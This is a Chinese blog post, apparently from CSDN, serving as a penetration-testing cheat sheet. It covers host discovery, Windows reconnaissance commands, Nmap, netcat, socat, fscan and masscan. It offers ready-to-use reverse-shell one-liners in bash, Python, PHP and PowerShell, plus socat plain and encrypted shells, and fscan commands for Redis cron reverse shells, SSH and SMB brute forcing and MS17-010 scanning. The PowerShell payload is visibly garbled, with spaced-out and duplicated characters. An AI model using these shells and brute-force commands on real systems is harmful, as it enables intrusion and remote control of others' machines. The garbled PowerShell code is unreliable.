00 信息收集的方向
主机存活探测
主机端口开放情况
主机服务探测
主机操作系统探测
网段分布情况
漏洞信息探测
主机内部信息搜集 / 域内信息搜集
01 主机内部信息收集
操作系统默认 ttl 值
① WINDOWS NT/2000 TTL:128
② WINDOWS 95/98 TTL:32
③ UNIX TTL:255
④ LINUX TTL:64
⑤ WIN7 TTL:64
基于 icmp 协议的主机存活探测
① windows
for /l %i in (1,1,255) do @ ping 192.168.1.%i -w 1 -n 1 | findstr “TTL=”
② linux
for i in {1…254};do ping -w 1 -c 1 121.5.144.$i|grep “ttl=”|awk ‘{print $4}’|awk -F “:”
‘{print $1}’;done
查看网络配置信息
ipconfig /all
查询操作系统和版本信息
systeminfo | findstr /B /C:”OS 名称 ” /C:”OS 版本 ” ( 如果是英文版的中文切换成英文 )
查看安装的软件及版本、路径等
wmic product get name,version ( 可能会很慢 )
查看进程信息
1-tasklist
2-wmic process list brief
!!!:
wmic(windows management instrumentation command-line) :windows 管理工具命令行
查看用户信息
net user
查看本地管理员组
net localgroup administrators
查询端口列表
netstat -ano
查看补丁列表
1-systeminfo | findstr “KB”
2-wmic qfe get Caption,HotFixID,Description,InstalledOn
查询共享列表
1-netshare
2-wmic share get name,path,status
查看当前用户
whoami
02 Nmap的使用
常见端口漏洞
nmap 是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。
确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦
称 fingerprinting )。它是网络管理员必用的软件之一,以及用以评估网络系统
安全。
优点 :高效、开源、功能齐全
Banner :指软件开发商、软件名称、版本、服务类型等信息。
功能 :
§ 1- 存活主机
§ 2- 端口扫描
§ 3- 防火墙侦测
§ 4- 漏洞扫描
§ 5- 操作系统用法:nmap [扫描类型] [选项] {目标规范}
• 例如:nmap -sSV -F -T4 192.168.37.0/24
• 常用命令:
• -Pn:将所有主机视为联机-跳过主机发现
-v|-vv:详细|更详细过程
• -sS:SYN扫描(隐匿)
• -sV:探测打开的端口以确定服务/版本信息
• -O:启用操作系统检测
• -T <0-5>:设置时序模板(越高越快)T4
• -A:综合扫描
• -p:端口范围 可以-p-(代表全端口)|-p 0-65535 |-p 80,445,3389
信息收集(使用脚本):
-sC :相当于 --script=defaults
smb-check-vulns.nse smb 服务漏洞探测
nmap --script=smb-check-vulns.nse IP
nmap 脚本存放位置:
/usr/share/nmap/scripts/
auth: 负责处理鉴权证书(绕开鉴权)的脚本
broadcast: 在局域网内探查更多服务开启状况,如 dhcp/dns/sqlserver 等服务
brute: 提供暴力破解方式,针对常见的应用如 http/snmp 等
default: 使用 -sC 或 -A 选项扫描时候默认的脚本,提供基本脚本扫描能力
discovery: 对网络进行更多的信息,如 SMB 枚举、 SNMP 查询等
dos: 用于进行拒绝服务攻击
exploit: 利用已知的漏洞入侵系统
external: 利用第三方的数据库或资源,例如进行 whois 解析
fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 intrusive: 入侵性的脚本,
此类脚本可能引发对方的 IDS/IPS 的记录或屏蔽
malware: 探测目标机是否感染了病毒、开启了后门等信息
safe: 此类与 intrusive 相反,属于安全性脚本
version: 负责增强服务与版本扫描( Version Detection )功能的脚本
vuln: 负责检查目标机是否有常见的漏洞( Vulnerability ),如是否有 MS08_067
03 NC
功能强大的网络工具,在网络工具中有 “ 瑞士jundao ” 美誉,其有 Windows
和 Linux 的版本。因为它短小精悍 , 功能实用,被设计为一个简单、可靠的网络
工具,可通过 TCP 或 UDP 协议传输读写数据。同时,它还是一个网络应用
Debug 分析器,因为它可以根据需要创建各种不同类型的网络连接。
nc 的作用
( 1 )实现任意 TCP/UDP 端口的侦听, nc 可以作为 server 以 TCP 或 UDP 方式侦
听指定端口
( 2 )端口的扫描, nc 可以作为 client 发起 TCP 或 UDP 连接
(3 )传输文件
(4 )网络测速
(5 )克隆硬盘或分区
(6 )反弹服务器 shell
常用命令介绍:
§ -v (
verbose 详细):详细信息 -z (
zero-I/0 ):无输入输出扫描 可用端口扫描
§ -l (
listen 监听):监听
§ -p (
port ):端口
§ -t (
telnet ): telnet 方式访问
§ -e (
exec ):执行命令 —>
§ 监听: nc -l -p xx 常用 nc -lvvp xx
§ 反弹 shell :
端口探测:
§ -vz :
文件传输:
§ 接收端: nc -lvvp > 文件名(任意)
§ 发送端: nc IP PORT < 文件名(存在的)
§ ps :连接成功则传输成功
NC连接shell的其他方式
1.bash -i >& /dev/tcp/ip/port 0>&1
解释:
bash -i 打开一个交互的 bash
& 将标准错误输出重定向到标准输出
/dev/tcp/x.x.x.x/port 意为调用 socket, 建立 socket 连接 , 其中 x.x.x.x 为要反弹到的主机 ip , port 为端口
0>&1 标准输入重定向到标准输出,实现你与反弹出来的 shell 的交互
注:
/dev/tcp/ 是 Linux 中的一个特殊设备 , 打开这个文件就相当于发出了一个 socket 调用,建立一个 socket 连接,
读写这个文件就相当于在这个 socket 连接中传输数据。同理, Linux 中还存在 /dev/udp/ 。
linux shell 下常用的文件描述符是:
标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
标准输出 (stdout) :代码为 1 ,使用 > 或 >> ;
标准错误输出 (stderr) :代码为 2 ,使用 2> 或 2>> 。
另外由于不同 Linux 发行版之间的差异,该命令在某些系统上可能并不适用。
python 反弹 shell
python -c ‘import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STRE
AM);s.connect((“10.0.0.1”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’
直接用就好了,改 ip 就行。
php 反弹 shell
php -r '$sock=fsockopen(“IP”,port);exec(“/bin/sh -i <&3 >&3 2>&3”);
powershell:
$client = New-Object System.Net.Sockets.TCPClient(‘192.168.0.102’,4444);
$stream = c l i e n t . G e t S t r e a m ( ) ; [ b y t e [ ] ] client.GetStream(); [byte[]]client.GetStream();[byte[]]bytes = 0…65535|%{0};
while(($i = s t r e a m . R e a d ( stream.Read(stream.Read(bytes, 0, $bytes.Length)) -ne 0)
{
d a t a = ( N e w − O b j e c t − T y p e N a m e S y s t e m . T e x t . A S C I I E n c o d i n g ) . G e t S t r i n g ( data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(data=(New−Object−TypeNameSystem.Text.ASCIIEncoding).GetString(bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ’ + (pwd).Path + '> ';
s e n d b y t e = ( [ t e x t . e n c o d i n g ] : : A S C I I ) . G e t B y t e s ( sendbyte = ([text.encoding]::ASCII).GetBytes(sendbyte=([text.encoding]::ASCII).GetBytes(sendback2);
s t r e a m . W r i t e ( stream.Write(stream.Write(sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close();
04 socat
Socat 是一个命令行实用程序,它建立两个双向字节流并在它们之间传
输数据。对于渗透测试,它与 Netcat 类似,但具有其他有用的特性。
创建监听 :
socat TCP4-LISTEN:port STDOUT
连接 :
socat - TCP4:IP:PORT
!!!: 单纯的建立连接需要加 - 和 stdout, 建立标准的输入输出流
文件传输 :
传输
socat tcp4-listen:port,fork file:filename
!!!:fork 用于创建子进程 , 允许多个连接
接收
socat tcp4:ip:port file:filename,create
!!!:create 用于生成文件 , 生成文件及传输方向两边都行
反向 shell
socat -d -d tcp4-listen:4444 stdout
监听 shell 反弹
socat tcp4:ip:port exec:/bin/bash
反弹 shell
加密的正向 shell
我们将使用 openssl 应用程序通过以下选项创建自签名证书:
req :启动新的证书签名请求
-newkey :生成一个新的私钥
rsa:2048 :使用密钥长度为 2048 位的 RSA 加密。
-nodes :存储不带密码保护的私钥
-keyout :将密钥保存到文件
-x509 :输出自签名证书而不是证书请求
-days :以天为单位设置有效期
-out :将证书保存到文件
生成密钥 ( 公钥和私钥 )
openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out
bind_shell.crt
把公钥和私钥转为 socat 接收的格式
cat bind_shell.key bind_shell.crt > bind_shell.pem
建立监听与连接
socat openssl-listen:port,cert=bind_shell.pem,verify=0,fork exec:/bin/bash
!!!:verify=0 --> 禁用 ssl 验证
socat - openssl:ip:port,verify=0
05 fscan
https://github.com/shadow1ng/fscan
fscan.exe -h 192.168.1.1/24 ( 默认使用全部模块 )
fscan.exe -h 192.168.1.1/16 (B 段扫描 )
fscan.exe -h 192.168.1.1/24 -np -no -nopoc( 跳过存活检测 、不保存文件、跳过 web poc 扫描 )
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥 )
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹 shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行 )
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 ( 指定模块 ssh 和端口 )
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt ( 加载指定文件的用户名、密码来进行爆破 )
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt ( 指定扫描结果保存路径 , 默认保存在当前路径 )
fscan.exe -h 192.168.1.1/8 (A 段的 192.x.x.1 和 192.x.x.254, 方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb 密码碰撞 )
fscan.exe -h 192.168.1.1/24 -m ms17010 ( 指定模块 )
fscan.exe -hf ip.txt ( 以文件导入 )
fscan.exe -u http://baidu.com -proxy 8080 ( 扫描单个 url, 并设置 http 代理 http://127.0.0.1:8080)
masscan :被称为最快的端口扫描器, 6 分钟可以扫描全网。
–rate:
指定发包速率
–ports:
指定端口
–adapter-ip:
指定发包的 IP 地址
–adapter-port:
指定发包的端口号
–adapter-mac:
指定发包的源 mac
–router-mac:
指定网关的 mac
–exclude:
黑名单 , 不扫描指定的 IP
–wait:
设置发完包后默认 (10s) 的等待时间
06 masscan
web 常用
masscan 127.0.0.0/24 -p80,161,443,873,2181,3389,6379,7001,8000,8009,8080,9000,9009,9090,9200,9300,10000,50070 > results.txt
远程登录
masscan 127.0.0.0/24 -p22,23,3389,5632,5800,5900,5901 > results.txt
文件服务
masscan 127.0.0.0/24 -p20,21,445,873,2049 > results.txt
数据库
masscan 127.0.0.0/24 -p1433,1521,3306,4100,5000,5432,5984,6379,11211,27017,27018 > results.txt
单端口扫描
masscan 127.0.0.0/24 -p443
多端口扫描 扫描 80 或 443 端口的 B 类子网
masscan 127.0.0.0/24 -p80,443
扫描一系列端口 扫描 22 到 25 端口的 B 类子网
masscan 127.0.0.0/24 -p22-25
快速扫描
masscan 127.0.0.0/24 -p80,8000-9000 --rate 100000
排除目标
masscan 127.0.0.0/24 -p80,8000-9000 --excludefile exclude.txt
结果保存
masscan 127.0.0.0/24 -p80,8000-9000 > results.txt
————————————————
版权声明:本文为CSDN博主「白面安全猿」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/MSB_WLAQ/article/details/121642576